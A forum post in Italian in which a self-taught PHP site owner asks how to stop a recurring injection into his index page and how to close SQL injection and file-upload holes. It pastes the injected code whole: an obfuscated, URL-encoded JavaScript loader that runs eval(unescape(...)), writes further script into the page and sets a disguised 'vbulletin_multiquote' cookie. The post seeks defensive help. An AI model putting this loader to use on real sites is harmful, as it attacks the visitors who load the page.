Ciao a tutti. da un po' compare nell'index della mia pagina del codice in js che credo sia malevolo.
scrivo nella sezione php perchè il sito è fatto in php (interamente da me) e quindi molto probabilmente ha dei problemi di sicurezza.
il codice in particolare è attaccato ai tag <body> e <html> il che mi fa presumere che abbiano usato qualche funzione particolare e non avuto accesso ai file.
nel sito sono presenti diversi form in cui inserire testi, un mio amico una volta aveva fatto una sql injection e c'è un form in cui vengono inviate delle fotografie.
io ho buone conoscenze di php ma purtroppo sull'argomento sicurezza non ne so molto, quindi chiedo a voi un po' esperti da dove posso incominciare a tappare le injection ed evitare che i file possano essere modificati.
ah dimenticavo che ogni tanto ripulisco il file index dal codice malevolo e che dopo un tot questo ritorna inesorabilmente. eccolo qui sotto
codice:<script language="javascript">$="%64d%3d%22}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950&5##950%2522&M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209M+}Sx%22;st%3d%22%2573%2574%253d%2522$%253ds%2574;%2564%2563s%2528%2564%2561+%2564%2562+%2564%2563+%2564d%252bd%2565%252c%2531%2530%2529;%2564w%2528s%2574%2529%253bs%2574%253d$%253b%2522%253b%22;cb%3d%2265(d%2573);%2573t%253dt%256dp%253d%2527%2527;f%256fr(i%253d%2530;%2569%253cds.%25%22;cc%3d%226ceng%2574h%253b%2569+%252b){%2574m%2570%253dds.s%256c%2569ce(%2569,i%252b1)%25%22;cd%3d%223bs%2574%253dst+%2553t%2572i%256eg.f%2572om%2543har%2543ode%2528(tm%2570%252e%22;ca%3d%22%2566%2575%256e%2563ti%256fn%2520dc%2573(ds%252ces)%257bds%253d%2575nes%2563ap%25%22;cu%3d%22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;bqgx{l:w{y;xp;sfv;64c}p`|)%25$$4|q}s|`),$*(;}rfuyq*(;p}b*%22;dc%3d%220d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi899+yv8d)K7t7M,%25209d)K7t7M-!+d)K7}7M-t)%3ewud]%257F~dx89;!+ve~sdy%257F~0S]^8t%3c}%3ci9kfqb0b-888i;8#:t99;8}Nt9:#9;t9+budeb~0b+mfqb0t-7fuc|%257Fh%3es%257F}7+fqb0iSx!%3ciSx%2522%3c%22;op%3d%22%2524%253d%2522dw(dcs(%2563%2575%252c%25314)%2529%253b%2522;%22;da%3d%22fqb0})-~ug0Qbbqi87e~%257F7%3c7tfu7%3c7dxb7%3c7vyb7%3c7fyv7%3c7huc7%3c7fuc7%3c7wxd7%3c7u~y7%3c7ud~7%3c7|uf7%3c7dgu79+fqb0|)-~ug0Qbbqi87q7%3c7r7%3c7s7%3c7t7%3c7u7%3c7v7%3c7w7%3c7x7%3c7y7%3c7z7%3c7{7%3c7|7%3c7}7%3c7~7%3c7%257F7%3c7`7%3c7a7%3c7b7%3c7c7%3c7%22;db%3d%22d7%3c7e7%3c7f7%3c7g7%3c7h7%3c7i7%3c7j79+fqb0~)-~ug0Qbbqi8!%3c%2522%3c#%3c$%3c%25%3c&%3c%27%3c(%3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)%3ewudVe||Iuqb89+yv8t)%3ewudTqi89.#9d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi89;%25229+u|cu%22;de%3d%22-|)K88d)K7}7M;}^}950%2522%259M+yv888d)K7t7M:%25229.-%252096688d)K7t7M:%25229,-)99tSx-~)K8d)K7t7M50!%25209M+u|cu0tSx-|)K88d)K7t7M:&950%2522%279M+4-4%3ebu`|qsu8t%3ciSx%2522;}Sx;iSx!;tSx;})Kd)K7}7M%3d!M;7%3es%257F}79+%22;dz%3d%22%2566unc%2574io%256e d%2577%2528t){%2563%2561%253d%2527%252564%25256fcu%25256de%2525%2536%2565%252574.%2577%25257%2532it%25256%2535%2528%25252%2532%2527;%2563e%253d%2527%252522)%2527;cb%253d%2527%25253c%252573cr%252569%252570t %25256c%252561%256eg%2525%2537%2535ag%2565%25253d%25255c%252522jav%2561%25257%2533c%2572i%252570t%25255c%252522%25253e%2527;c%2563%253d%2527%25253c%25255c%25252fscr%2569p%252574%25253e%2527;ev%2561%256c%2528%2575nes%2563ape%2528t)%2529};%22;cz%3d%22%2566%2575n%2563tio%256e c%257a(cz%2529%257br%2565t%2575rn %2563%2561+c%2562+%2563c+c%2564+%2563e+c%257a;}%253b%22;ce%3d%22cha%2572%2543od%2565A%2574(%2530)%255e(%25270x0%2530%2527+e%2573%2529));%257d}%22;%69f %28%64oc%75men%74.%63o%6fkie%2eind%65x%4ff(%27vbu%6clet%69%6e_mu%6ct%69quo%74e%3d%27)%3d%3d-1){sc(%27vbull%65t%69n_m%75l%74iqu%6fte%3d%27,%32,%37);e%76al(%75%6ee%73cap%65(d%7a+%63%7a+op%2bst)%2b%27dw(%64z%2bc%7a($+%73%74%29%29;%27)}e%6cs%65%7b%24%3d%27%27};funct%69%6fn %73%63(%63n%6d,%76,ed%29{v%61%72%20e%78d%3dnew %44at%65()%3b%65xd%2eset%44ate%28exd%2eg%65tDa%74e%28)+%65d);%64o%63%75m%65n%74.c%6fok%69e%3dcn%6d+ %27%3d%27 +esc%61p%65(v)%2b%27;e%78p%69res%3d%27+exd.%74%6fGMT%53%74ri%6e%67(%29;%7d;";eval(unescape($));document.write($);</script></body> </html>
Rispondi quotando